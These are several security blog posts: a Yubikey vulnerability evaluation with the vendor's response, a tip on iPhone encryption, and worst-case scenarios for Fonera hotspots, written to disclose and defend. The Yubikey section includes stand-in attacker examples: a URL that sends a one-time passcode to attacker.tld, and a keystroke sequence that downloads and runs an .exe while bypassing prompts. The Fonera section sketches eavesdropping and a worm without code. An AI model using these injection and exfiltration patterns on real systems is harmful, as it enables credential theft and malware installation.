From yesterday, with iOS4, all iPhones (3g, 3gs, 4g) can have hardware encryption enabled. This is then connected to the normal passcode. This means easy, free and very secure protection of all information. I recommend anyone with an iPhone to upgrade and enable the encryption. This requires easing all data temporarily of you upgrade a 3gs or 3g phone. The data and all apps can be restored later. It will take less then 30 minutes to do the whole thing connected to itunes. Here’s more information on how to to it: http://support.apple.com/kb/HT4175

Yubico, the company behind the security authentication device Yubikey, have been implementing some major changes that have increased security. Many of the vulnerabilities that was pointed out earlier this year on Security.dj are now fixed, the main one being dropping the automatic navigation feature in the firmware. I met with CEO Stina Ehrensvärd a few weeks ago, and she offered that Yubico could write a short answer to the issues pointed out earlier, and how they have addressed them. I am certain that Yubico will still find room for further improvement for security as they continue their work for even higher quality and security.

Here are the issues mentioned in an earlier post here at Security.dj and Yubicos’ answers to these:

Yubikey is not a read-only device. Its internal configuration is unprotected.
The configuration can be protected by an optional 48-bit password. A large percentage of the customers who order a small number of Yubikeys are experimenting and rewriting the configuration. If all keys were programmed with a configuration password, this would make experimenting more difficult and potentially lead to customers killing their keys if the configuration was lost. Bottom line is that this setting is intentional and the users who want to have its configuration protected can easily enable this option. Customers who order a larger number of Yubikeys can optionally have the configuration password set according to their specific needs, i.e. randomized, linear, from file, a single fixed value etc. It is worth mentioning that deploying unprotected Yubikeys does not affect the security per se, as configuration data is write-only, i.e. it cannot in any way be read back from the Yubikey. The risk is rather that the Yubikey is open for sabotage, i.e. the valid / legitimate configuration is overwritten or deleted.

Yubikey can create and send passcodes over the Internet without you pressing the key.

The YubiKey 1 included an option to generate the one time pass-codes by a double click on the caps-lock or num-lock buttons on the main keyboard. It seems however as this feature is not used and the function has been removed in Yubikey 2. It is however important to understand that even for Yubikey 1, this feature needs to be explicitly enabled. Users who don’t like the function shall therefore leave it disabled.

Yubikey-generated one time passcodes are valid regardless of time.

Only partly true as the pass-codes also comprise a timer component that can be used to detect the time delta between two codes generated. Furthermore, as all old pass-codes get invalidated each time a new one is generated and authenticated, codes do have a practical limited lifetime in most settings. We recommend users who are concerned of a potential “store-and-forward” attack to design their service in such a way that the user generates at least two pass-codes during a critical session. A good parallel is Internet banks where the user can log on and make simple transactions just by using a username and password. If, for example funds are to be moved to a foreign account, the user will have to log on using a token. When the fund is then later to be committed, the token must be used again. A similar scheme would be perfectly usable for the Yubikey as well. The functionality for detection time delta will be fully implemented in the Yubico hosted  validation server during Q4 2009.

Yubikey can be used to download and execute malicious code on computers

The “automatic navigation” feature was implemented for pure convenience. As the function does not work reliably for all platforms and has some potential security aspects as indicated, this function has been completely removed from firmware 1.3.6. It is worth re-stating that there is no memory storage on the Yubikey like with an USB memory stick. This means that Trojans / malicious code cannot be stored or injected into the Yubikey.

A Yubikey lost means the passcode revealed, since it has no lock.

In the default One Time Passcode mode, a lost YubiKey can be disabled on the validation server. In the “static pass-code mode” is an optional feature that a fair amount of users appreciate as it works right away with legacy systems. As this is a static code it certainly has its weaknesses and shall therefore only be used when the user is fully aware of these limitations.

The Yubikey validation service is not backed by the vendor – it is offered as “best effort”.
The Yubico validation server is a free service that was initially designed as a “proof of concept” only. As more and more users have asked for a more reliable and secure server, Yubico has completely re-designed the architecture and key lifecycle management procedures. The server has furthermore been moved to a physically more secure server location, used by leading Swedish financial institutions. We recommend  customers who are concerned about security and reliability as a part of their overall service concept to run their in-house validation server.

Attackers have access to the source code and documentation of the validation server.
We strongly believe that the open source approach makes the system in whole more secure as it is open to public scrutiny. There should not be any “by-design weakness” in the setup that would justify keeping anything secret. The “security by obscurity” approach is not considered best practice by the security industry.

Unused features that can be used as attack vectors are left in the firmware.
As stated earlier, the “automatic navigation” and “keyboard trigger” features have been all removed in firmware. All functionality is properly described in “The Yubikey manual” Users must of course be aware what it means to enable specific features from a security- and systems perspective.

Yubikey

Quick Summary

NOTE! (Added 2009-08-30): Please note that most of these security issues described in this article are now fixed, or the risk reduced. Please read this post for more information.

• Yubikey is not a read-only device. Its internal configuration is unprotected.
• Yubikey can create and send passcodes over the Internet without you pressing the key.
• Yubikey-generated one time passcodes are valid regardless of time.
• Yubikey can be used to download and execute malicious code on computers.
• A Yubikey lost means the passcode revealed, since it has no lock.
• The Yubikey validation service is not backed by the vendor – it is offered as “best effort”.
• Attackers have access to the source code and documentation of the validation server.
• Unused features that can be used as attack vectors are left in the firmware.

What is Yubikey?

Yubikey is a security device from the innovative Swedish startup Yubico. It is a very small piece of hardware, in the form of a USB key that fits on your key chain. What makes Yubikey so smart is that it does not need any client software and it can be used on all computers that have a USB slot.

The intended use is for secure and efficient authentication of users to services over the Internet. It works just like a computer keyboard connected to a USB slot. In fact, it is more or less a computer keyboard, since all it does is to simulate a keyboard in order to enter long passwords into textboxes when you want to login to for example a web site.

The Yubikey has one button. If you insert the Yubikey into a computer and press this button, it generates the user’s identity and a passcode, just like if you would have written it yourself on the keyboard. It is possible to re-program a Yubikey to for example generate static (never changing) passcodes instead of the default which are so called one time passcodes (hereafter called OTPs).

The Yubikey is used for applications such as to login to single-sign-on services such as OpenID and MashedLife.com, Windows, blogs, forums, and more. In most cases one time passcodes, OTPs, are used and validated against some validation server. The yubikey can also be used completely offline without validation, for example to enter a complex but static passcode to unlock an encrypted disc that is protected with TrueCrypt.

Introduction

I recently ordered five Yubikeys with the intent to evaluate this system as a potential secure login mechanism for some of my clients. This blog posting is the result of that evaluation. As will be clear below, I found the Yubikey to have some critical security weaknesses. All of these security weaknesses can be corrected, some with very little effort.

Remember that Yubico is a startup company. They were taken by surprise by the high demand for their product. The Yubikey firmware and software (validation server) are both somewhere between development and testing in terms of maturity. It is not production ready. This is problematic since it is not always clear that this is the case, since Yubikeys are sold to end-users that use them to login to valuable information assets, with Yubicos validation service at the back-end.

Below, I list a number of security weaknesses of the Yubikey. The severity of these weaknesses might vary with the users’ knowledge, the Yubikey firmware version, the validation server version, and the intended use. The evaluation is based on reading the official Yubikey documentation, communicating with Yubikey support via e-mail, reading the Yubico forum and wiki, and testing.

Yubikey Weaknesses

A stolen one time passcode is valid for authentication until the next time the real user uses the Yubikey.
The Yubikey is equipped with an internal timer that is used to calculate the time difference between the generation of two subsequent one time passcodes (OTPs) during one Yubikey session. However, since there is no battery for the timer in the hardware (compare with e.g. secureID which has a timer and battery) it is only possible to use this internal timer if the user is requesting two OTPs. For a normal login, you might use only one OTP, then this means that there is no certain time limit that stipulates how many seconds, minutes or hours that OTP is valid. Consequence: An attacker that have managed to acquire a OTP can have hours, days, or even months to use it, since it will be valid until the legitimate user uses the Yubikey again. It is important to note that the attacker does not need the Yubikey for anything – only the OTP. In summary: The last unused OTP does not expire until the Yubikey is used again, unlike for example those OTPs generates by SecureID. (Source: Derived from communication with Yubico support).

Validation servers that are currently deployed have a security flaw
According to a discussion at the Yubico forums, some Yubikey users found that they could generate for example five OTPs, and then authenticate with these five keys over and over again. Yubico employed developers found that “OTPs that were generated while the key remained inserted then OTPs within that session could be replayed without detection until next removal and insertion of the Yubikey. The reason was that the Yubikey counter for “session use” was not checked by the server”. For earlier firmware versions (pre 1.3.3), the validation server was checking the timestamp instead of the session counter, but this was dropped! due to incompatibility with firmware 1.3.3. This bug is now very quickly fixed in the Yubico validation server source code on 2009-02-07 – session use is checked (but not timestamp) . The current release of the server available for download here (2009-02-21) is not updated, and thus still vulnerable (Update 2009-02-23 – new server version 1.1 available, see end of article). This release has been downloaded over 200 times, and it is still available for download. Yubico has not communicated this issue to its user base clearly. Therefore, it is very likely that most validation servers in production are still vulnerable. It is also likely that more people will download the vulnerable server. Consequence: Even if the scenario is that all users only generates a OTP once every session (as long as the key is attached to the computer), this is still a very serious flaw, since the protection earned by using a one time passcode is lost because an attacker can reuse it, even if it is only seconds or minutes later. Even when this vulnerability is completely fixed, the other related weakness described above is still present, since it it a part of the design. (Source: Yubico forums)

The yubikey is delivered without programming password set.
Anyone with access to any computer where a user inserts their Yubikey can reprogram the key. This does not need to be a security problem, if all customers were informed about this fact, and that they should lock their key. However, there is no information about this in the shipment from Yubico. Consequence: Some users, who do not understand or care too much about how the Yubikey works, will be unprotected from the reprogramming of their Yubikey by a malicious user or software. This is important since the user should be able to trust the key (it is the security device) in an otherwise unsecure environment. The idea is to be able to access for example the company network from an Internet Café with unsecured computers. (Source: Programming test)

The automatic navigation feature can be used by an attacker.
The Yubikey features a function called “automatic navigation”. This function tells the computer to start its default web browser and take the user to a preconfigured URL and optionally generate and send a one time passcode (OTP). This is used by for example MashedLife.com for their single-sign-on service. There is a risk that an attacker might change an unprotected automatic navigation feature to point to another URL, and thereafter emit a valid OTP. Subsequently, three seconds after the next insertion of the key, it will navigate to the attacker’s site and emit a valid one time passcode that the attacker can use to authenticate as the user (http://www.attacker.tld/otp?thisisthesecretpasscode). Neither the attacker nor the user needs to do anything in order to transfer this code – it will end up in the attacker’s web server error log in clear text seconds after the user inserts the key into the computer, without any buttons to press. This re-configuration is possible since Yubikeys are delivered without the programming passcode set. In addition, according the current Yubikey Personalization Tool Guide 1.5, the automatic navigation feature would still not be protected even with this passcode. It reads “Also note that the programming password is not required to reconfigure the “Automatic Navigation” feature.” To sum up: This security device has a built-in feature that generates a one time passcode that is valid potentially unlimited in time, and sends it off as a part of a HTTP GET request to any URL someone with access to any computer where the Yubikey is inserted into decides. Yubico support says they might drop this feature on later firmware revisions. (Source: Derived from information in Yubikey Personalization Tool Guide 1.5 and Yubico code examples). (Update 2009-02-23 -  Yubico has plans to solve this in firmware 1.3.4, see below).

The automatic navigation feature can be used to execute arbitrary code.
Since the feature “automatic navigation”, discussed above, is emulating a keyboard pressing the “windows”-button plus “r” to execute “http://www.site.com”, it can also be used to run arbitrary code residing on the computer or to download code. Since it is a keyboard from the perspective of the computer, it can also press OK or Enter to confirm the running or installation of malicious code. This is something new for malware to try – probably never seen before. Consider [win]+[r]+’http://www.attacker.tld/update-yubikey-firmware-134.exe’+[CR] (carriage return) or some other combination. With a combination of [tab] and [enter], all controls asking “do you really want to run this?” can be bypassed. I have not tested how complex sequences one can execute. Also, there might be differences in different firmware versions. It is clear that the Yubikey API allows for programming the keyboard to “press” different buttons. All the attacker’s commands are then run (or rather keys are pressed) three seconds after the key is inserted into the computer. (Source: Yubico forums and Yubico Support E-mail). (Update 2009-02-23 – This will also be solved by the new planned firmware 1.3.4).

Open source of code makes it easier for attackers.
Although it is very handy that Yubico have open sourced code including the validation server and code examples for programming the key, as well as information about the Yubikey API, it is also much easier for attackers to write malicious code that reconfigures the Yubikey in the way described above. There are many code examples available to start from. Given the lack of maturity of the published code that is compiled into validation servers, it is also easy for an attacker to find potential flaws that can be exploited (Like the flaw discussed earlier). (Source: http://code.google.com/search/#q=yubico).

With physical access to the key, there is no protection of the passcode.
Using the key in static passcode mode, this is the equivalent of having a paper in your wallet which says “The passcode is [your passcode]”, since anyone with physical access to the key can put it into a computer and press the button to get it. In one time passcode mode the passcode generated will be valid for login at least as long as the hacker authenticates before the legitimate user. The attacker with physical access can quickly take a key and put it into their computer or mobile and press the key and save the passcode in a text file for later usage. In some use cases there are additional secrets to be entered upon login, then this scenario does not work. It is important to inform the users about this, so that they are not under the impression that you need the key device to login. This is not a security flaw, but something that all users should understand.

Recommendations for increased security

1. Ship all keys that are sent to end-users with programming password set, and provide them with the password.
2. While shipping keys for testing, development and to resellers, be clear to inform the buyer in writing that the keys are not protected from reconfiguration and that they must be protected before sent off to end-users.
3. Disable the automatic navigation feature on in the default firmware version and let customers decide if they want this when they order, after explaining what it is and the risks with having it in a security device (this is not the case today according to Yubikey support e-mail, 2009-02-14)
4. Make sure that the programming password does protect against changes in the automatic navigation feature (page 17 in the Yubikey Personalization Tool Guide 1.5 states that this is not currently the case, 2009-02-14).
5. Set up a rigorous quality assurance process for the development of the validation server and other critical system components, to make sure that current flaws are fixed and that new ones do not find their way into production.

Yubikey is a really good idea, and an interesting product. Do not let this evaluation discourage you from using Yubikey. By having read this post, you will have knowledge to avoid some of the security weaknesses listed above.

Please expand, correct or just comment. Any communication from Yubico will also be published here if they want that.

Latest developments

2009-02-23: Yubico have considered the recommendations above and they now have plans to enable a protection for the automatic navigation feature in the 1.3.4 firmware version which will be in production from the March 5 batch and onwards. This means that if a programming password is set, then it will not be possible to change autonavigation information at all. However, it is surprising that the leave the feature in the firmware. It leaves the key open to DNS issues (attacker with write access to a computer where the key is used controls the DNS or puts a hosts-file which points the autonav URL to attackers IP-number and emits a valid OTP) and brute-force attacks where the programming password is cracked and the autonav information changed.

2009-02-23: There is a newly built version, 1.1, of the validation server available from today that does not include the security flaw that enables the replay attack described above. This will decrease the risk that these flaw finds its way into new validation server installations. However, given that the vendor only offers the validation service as a “best effort” service, it is likely that we will find more flaws soon, in validation server components and the YMS web interface. Remember – this system is not in production – it is not backed by the vendor.

2009-08-30: There is a new firmware version out the dropped the autonavigation feature. Other security improvments as well. Please look at this new post.

Update Jan 15 2007: Fon sent me a Fonera (Thank you) – it arrived last week. I can confirm that it still only takes minutes to get root access to the foneras via a tcp/ip network connection. Also, even after tampered with, they can still be registered in the fon network. Expect people roaming the city centers with “rouge fon_ap’s” – the little box, with batteries and no computer. Enough to let unsuspecting users surf onto the built in web server’s fake copy of the fon login site. I leave to the reader to extrapolate from this. What do you think the consequences of this are?

Note: This post is originally from January 2007. It has been read by over 4000 readers.

Intro

The globe is about to be covered with ”la foneras”, free or low-cost wireless hot-spots private persons install to share their broad-band internet connections to others. In exchange they get access to all other access points in the Fon network. As this is written, there are something in the range of 200.000 members, of which close to 100.000 may have a wireless access point from Fon installed.

After having read about the business idea and studied the technology used to create this global network, I feel that, as a security professional, I should give my personal view of the potential security implications of having a global network of WiFi-hotspots designed in this way. This short note does not intent to describe technical vulnerabilities of “la fonera” wireless access points in detail – it is only a scenario-based analysis given some basic premises.

The aim of this note is to take the security implications to the extreme – given what we know, what are the worse case scenarios?

Foneras are used for

• Surfing the web from another person’s wireless access point while not at home, for free.
• Selling internet access to persons who are not sharing their own access point for 3 euros per day. This may be a business user accessing data on their internal network.
• Connecting VoIP (voice over IP) telephone conversations be it a normal SIP or a Skype call.
• Sending emails, doing banking, chatting, dating, etc.

Facts

• Each access point is actually a small computer with a tailor-made Linux operating system installed.
• The idea behind the design of software and hardware is to keep users out of the fonera, since they should not be able to change the configuration of the fonera.
• The company behind the initiative have unlimited access possibilities to each access point. This is needed in order for them to be able to load new software and fix bugs remotely in the fonera.
• Security is already breached; many different methods are published on the web on how to gain unlimited access rights on your own fonera. Even though there will be security patches sent out from Fon to remedy these problems, it is not likely that the current design will be able to protect the foneras against users who have them in their homes.
• Physical access to any computer usually means full logical access is possible. And this is exactly the case for the fonera.

Taking these facts as a point of departure, let us examine the potential security implications of this.

Scenario 1: Spying on users

Any person having a fonera access point can spy on users accessing the internet through their fonera.

This could be done by hacking into the fonera via the web interface (which is a 5 minute project), or via a serial cable from the computer (need to open the box and connect a few cables), and then changing the configuration of the fonera. The new configuration could store traffic information of users, like who they e-mail, what the write, where they surf, the password of their banking site, dating site credentials, phone numbers called with VoIP phones, etc. This information could instantly be forwarded anywhere in the world.

Even if Fon, unlikely as it seems, would be able to end physical and logical access to foneras, this scenario is still possible. If I surfed through your broad-band connection, you could always use your own computer to eavesdrop on my communications using special software (available for free on the web).

Skype calls might be difficult to decrypt, but ordinary VoIP phone calls can be replayed easily. If I were surfing through your fonera, you could be listening to the sound of my conversation.

Scenario 2: Threats, violating intellectual property rights and computer intrusions in your name

Also, the Fon design already gives members a list of who have accessed their fonera at which time. This of course might come in handy if the legal authorities knocks on your door and want to prosecute you for file-sharing or computer intrusion conducted by one of the guests. This is problematic. You let someone you do not know use an internet connection you have bought under a certain agreement with your ISP. How can you know that the person visiting your connection does not violate this agreement by doing stupid things in your name (because for your ISP, it is in your name, using the IP you have been given from them for that moment).

With the Fon network available, do you think any hacker will ever use their own internet connection? Where can you, unidentified and anonymously, get unlimited access to the net to spam, hack, etc.? Through Fon. Yes, “all users are registered”, but with true information? In addition, a hacker could first eavesdrop on their own fonera for your fonera password and ID, and use this instead of their own. The list goes on.

Scenario 3: Others spying on you through your fonera?

Is it possible for others to spy on you through your fonera access point? Yes, of course. There are many ways this can be done:

• Fon have full access to the fonera, which is essentially a Linux computer on your network. They could potentially load a new configuration with dumps all the Internet traffic on your local network with free tools available on the web. But why would they?
• In fact, la fonera is the perfect spy hardware – small like a pack of cigarettes, wireless radio, network card. If you find one installed on your corporate network, you’d better check the software its running – it might very well be recording everything and relaying it to a competitor!

Given the current security vulnerabilities of the fonera, a hacker might not hack into their own box to spy on you. The hacker might just as well hack into your box to spy on you. How could the hacker find you? Fon Maps. With addresses and everything. So if you handle confidential information at all, or if you like your private life totally private, take care. But how can the hacker access my fonera? Radio, remember? It is a wireless access point. It is exactly as easy for me to change the configuration of my box as it is for me to change the configuration of your box. This might even be done by mistake given many access points with the same identity close to each other in cities. “Hacking” into your fonera can be done from outside your house with an ordinary laptop using only Internet Explorer. Then all traffic can be dumped and forwarded to the hacker who can potentially visually look at each email sent and received, listen in on the VoIP phone conversations, surf over your shoulder with you.

It is likely that this scenario will be made more difficult in the near future, since foneras can be patched for security problems from the Fon website. However, security vulnerabilities tend to be found regularly…..so it is the traditional race between hackers and security pros.

Scenario 4: “La Wormera” – the Fon worm

This is before Fon started to give away 15000 access points in Sweden for free. It is not unlikely that soon, access points will be able to reach each other via radio – they are wireless access points. Already, some looks like they could have radio contact with each other. So let’s consider this: Is it at all possible that a worm could spread through radio from one fonera to another? Yes. If a hacker hacks into his fonera, and adds the functionality that automates the web interface access hack (originally described by Kebe and Tomanek), or any other hack that enables full logical access through accessing the fonera via the wireless interface, the hacker could potentially automatically take command over all foneras within radio range. Then the neighbouring fonera could take over its next neighbour, and so on. After some time, all access point in the city centre could be controlled by one hacker. Let’s say the hacker would not do anything, except changing a few lines telling the fonera where to download new software. Instead of getting new updates from Fon, all foneras would one day fetch any software of the hacker’s choice from a server controlled by the hacker. In this way, the hacker could, months after the attack, and within a few minutes take command and direct thousands of devices!

What is the worse thing that could happen? A large scale denial of service attack against the Internet in Sweden or in other countries? Denial-of-service against any chosen target? Spamming en masse? Eavesdropping on any communication passing through the access points? Eavesdropping on any wireless traffic in the city centre? Creating a huge grid of massive computing power and the broadest broadband ever seen?

All of the above. All of these things are possible.

Conclusion

The fon initiative is a good one. The idea is great, and hopefully Fon will learn that security is imperative in this kind of project. It is possible that Fon will have to go back to the drawing board and really think through security. The next generation of boxes/software would have to be tamper-proof physically, and hacking “proof” logically. Security should, in an ideal world, not be something that one thinks about afterwards. Security should be an integral part of the business and systems development process. Also, security is a process that constantly needs attention.

Update: One of the main security issues, the web interface access hack mentioned above, is now solved with a new update from Fon, but users can still hack into their foneras by other means, e.g. through serial cable. In addition, foneras that are delivered now are still not patched, but they will try to patch themselves if connected to the Internet. Of course, the hacker could always hack into the box through the web interface before connecting the Ethernet cable of the fonera to the internet… So while security has been improved, some serious problems still remain.

Feedback: Fon security professionals are welcome to comment on this note here. Please send me an e-mail and I will publish your comments on the same page as this note. Feed-back welcome from any reader.